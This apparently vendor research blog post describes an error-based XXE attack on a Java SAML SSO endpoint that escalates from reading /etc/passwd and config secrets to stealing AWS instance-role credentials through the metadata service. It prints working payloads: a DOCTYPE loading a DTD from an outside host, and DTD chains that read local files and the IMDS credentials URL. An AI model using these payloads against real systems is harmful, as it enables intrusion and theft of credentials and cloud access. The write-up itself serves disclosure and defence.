Skip to content
Back

How a Dead-End XXE Vulnerability Turned into AWS Credential Theft

¨

Eddie Zaltsman

August 19, 2026
Research
Share

TL;DR

A Java enterprise workflow platform's SAML SSO endpoint parsed XML assertions with external entity processing enabled - but never reflected entity values back in the response, and DNS/HTTP egress was blocked, closing off the two exfiltration paths most testing stops at. ULTRA RED AI found a third path: the parser's own error messages echoed the exact URI it failed to open, verbatim. By encoding file contents as the path of a deliberately-invalid file:// URI, ULTRA RED AI turned "parser can't open this" into "parser just printed the file for us" - escalating from /etc/passwd to internal config secrets to live AWS instance-role credentials, with zero out-of-band infrastructure required.

The Bug, in One Sentence

When an XML parser is verbose about the URIs it fails to open, you don't need the application to reflect your data back to you - you just need to make your data be the URI it fails on.

Why a Scanner Walks Right Past This

A basic DOCTYPE injection is enough for any XXE scanner to confirm the parser is processing external entities. That's where most tooling - and most manual testing - stops being useful: the entity value never appears anywhere in the response, egress is filtered so no DNS or HTTP callback fires, and the honest conclusion is "confirmed parse, unconfirmed impact." That gets filed as informational and forgotten.

Turning it into arbitrary file read and, eventually, cloud credential theft required recognizing a very specific, non-obvious behavior: that Xerces embeds the literal URI it failed to open inside its exception text, and that nothing in the XML spec stops you from making a file's own contents become that URI. That's not a signature to match - it's a hypothesis about parser internals that has to be tested, refined around the internal-DTD-subset restriction, and then walked forward from a passwd file to a directory listing to a cloud metadata endpoint.

Step 1 - A Confirmed Parser With Nothing to Show For It

The SAML SSO endpoint accepted base64-encoded XML assertions as a POST parameter named SAMLResponse. Java SAML libraries have a long history of leaving external entity processing enabled by default - the XML parsing configuration is buried several dependency layers deep and rarely audited. A basic DOCTYPE injection confirmed the parser was processing external entities: the server returned an exception traceback rather than the normal SSO redirect. But the entity value itself appeared nowhere in the response. The parse was failing before it could surface anything useful.

This is the standard dead end in XXE testing: the parser is clearly vulnerable but the application gives you nothing to read back. Standard out-of-band exfiltration via DNS or HTTP requires the target to reach an external host - something blocked by this environment's egress controls - and DNS labels cap at 253 characters, which makes extracting large files impractical anyway. A different approach was needed.

Step 2 - Making the File Contents Become the Error Message

The application was surfacing raw Xerces XML parser exception messages inside the HTTP response - specifically as part of a SAML exception: Error creating JDOM document from XML string: error string. When Xerces fails to open a URI, it includes that URI verbatim in the exception message. The idea was to make the file contents themselves become part of a URI the parser would try and fail to open, so the error message would leak the data.

The DTD chain works as follows:

  • %file reads the target file's contents as a string via the SYSTEM identifier

  • %eval defines a new parameter entity %exfil whose SYSTEM URI is file:///%file; - the file contents are injected as the path component of a file:// URI

  • %eval; instantiates the definition, creating %exfil

  • %exfil; triggers the parser to open file:///[actual file contents], which is obviously not a valid path

  • Xerces throws a "No such file or directory" error containing the attempted URI - which is the file contents - and the application surfaces this directly in the HTTP response

The catch: XML forbids nested parameter entity references inside an internal DTD subset. Writing %eval inline in the DOCTYPE is not allowed. The solution is to host the entity definitions on an external server and reference the DTD file from the DOCTYPE declaration. The server fetches the DTD, loads it, and the chain fires.

Injected DOCTYPE inside the SAML assertion:

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % remote SYSTEM "https://[REDACTED_COLLABORATOR]/payload.dtd">
  %remote;
]>
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol"
                xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">
  <samlp:Status><samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/></samlp:Status>
  <leak/>
</samlp:Response>

Hosted externally at [REDACTED_COLLABORATOR]/payload.dtd:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///%file;'>">
%eval;
%exfil;

The &#x25; is a hex-encoded percent sign - required to write a nested parameter entity reference inside an entity value without triggering a parse error in the outer DTD. The full SAML assertion was base64 encoded and URL-encoded into the SAMLResponse POST parameter. The response:

SAML exception: Error creating JDOM document from XML string: /
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
(No such file or directory)

The contents of /etc/passwd were embedded directly in the HTTP response. No DNS ping, no HTTP callback, no infrastructure. The parser error was the exfiltration channel.

Step 3 - Escalating to Config Files and Internal Secrets

Pointing %file at a directory path rather than a specific file caused Xerces to embed the directory listing in the error - revealing all property files the application was loading at startup. This gave a complete map of readable config files including database credentials, an Okta certificate, and legacy integration keys.

SAML exception: Error creating JDOM document from XML string: /
activiti_db.properties
activiti-app.properties
api.properties
db.properties
security.properties
globals.properties
okta.cert
webhard.properties
(File name too long)

Reading individual config files surfaced hardcoded credentials for internal integrations and legacy system authentication endpoints belonging to a third-party internal gateway.

Step 4 - Live AWS Credentials via Instance Metadata

The platform ran on EC2. The SYSTEM identifier in %file accepts both file:// and http:// URIs. Switching the target to the AWS Instance Metadata Service allowed fetching the IAM credentials for whatever role was attached to the instance. The IMDS endpoint returned a JSON response containing live AWS temporary credentials - those credentials became the content of %file, were injected into the file:// path, and appeared verbatim in the Xerces error message:

<!ENTITY % file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/[REDACTED_ROLE]">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///%file;'>">
%eval;
%exfil;

Response body containing extracted credentials:

{
  "Code": "Success",
  "Type": "AWS-HMAC",
  "AccessKeyId": "[REDACTED]",
  "SecretAccessKey": "[REDACTED]",
  "Token": "[REDACTED - session token]",
  "Expiration": "[REDACTED]"
}

These temporary credentials were for a privileged IAM role attached to the EC2 instance. With them an attacker could access S3 buckets, read secrets from Secrets Manager and Parameter Store, enumerate infrastructure, and depending on the role's policy, move laterally across the entire cloud environment. The blast radius was determined by what that instance role was permitted to do - which in enterprise environments is typically over-provisioned.

The Technique, Generalized

Error-based XXE via the file:// URI trick fills the gap between direct-reflection XXE (rare) and OOB XXE (blocked by egress filtering or DNS size limits). It requires only one condition: the application must surface XML parser error messages somewhere in the HTTP response. Java applications running JDOM or Spring with a Xerces backend do this surprisingly often - exception messages are passed directly to the response writer without sanitization.

The hosted DTD bypasses the XML spec restriction that forbids nested parameter entity references in internal DTD subsets. External DTDs carry no such restriction, so the full entity chain can be defined there and loaded on demand. The server fetches the DTD itself - the attacker just needs a stable HTTP endpoint.

Compared to OOB via DNS, this technique handles files of arbitrary size since the data travels in the HTTP response rather than a 253-character DNS label. Compared to HTTP OOB callbacks, it needs no listener and works without any network reachability from the target outward.

Impact Summary

  • Arbitrary File Read

Any file readable by the application process could be exfiltrated in full through the HTTP error channel, with no size limit imposed by DNS labels or OOB tooling.

  • Internal Credential Exposure

Config directory enumeration surfaced database credentials, an Okta certificate, and legacy integration keys used by internal gateway systems.

  • Cloud Account Compromise

Live IAM temporary credentials for the EC2 instance role were extracted via the metadata service, handing over whatever permissions that role carried in AWS.

  • Lateral Movement Potential

Depending on the instance role's policy, the stolen credentials could reach S3, Secrets Manager, Parameter Store, and other services across the cloud environment.

The Takeaway

"No reflection, no reachable OOB channel" is where most XXE testing gives up - and where this bug would have stayed, filed as a theoretical parser quirk, if nobody had asked what the parser's own error text was capable of saying. Verbose exception messages are a data channel like any other; the fix isn't just disabling external entities, it's also treating parser errors as untrusted output. This one hop - from "confirmed but unexploitable" to "arbitrary file read" to "live cloud credentials" - is exactly the kind of chain a scanner reports as three separate, disconnected facts instead of one escalation.

How ULTRA RED AI Detected It

ULTRA RED AI's XXE probe confirmed external entity processing on the SAML SSO endpoint but found no reflected entity value and no reachable DNS/HTTP egress for standard OOB techniques. Rather than filing an unconfirmed informational note, ULTRA RED AI recognized the verbose Xerces error format in the response and reasoned through the file:// URI trick to turn the parser's own failure message into an exfiltration channel - including hosting an external DTD to route around the internal-subset restriction on nested parameter entities. It then walked the technique forward on its own: from /etc/passwd, to the application's config directory, to the AWS Instance Metadata Service, arriving at live IAM credentials with a complete, reproducible proof of concept.

¨

Eddie Zaltsman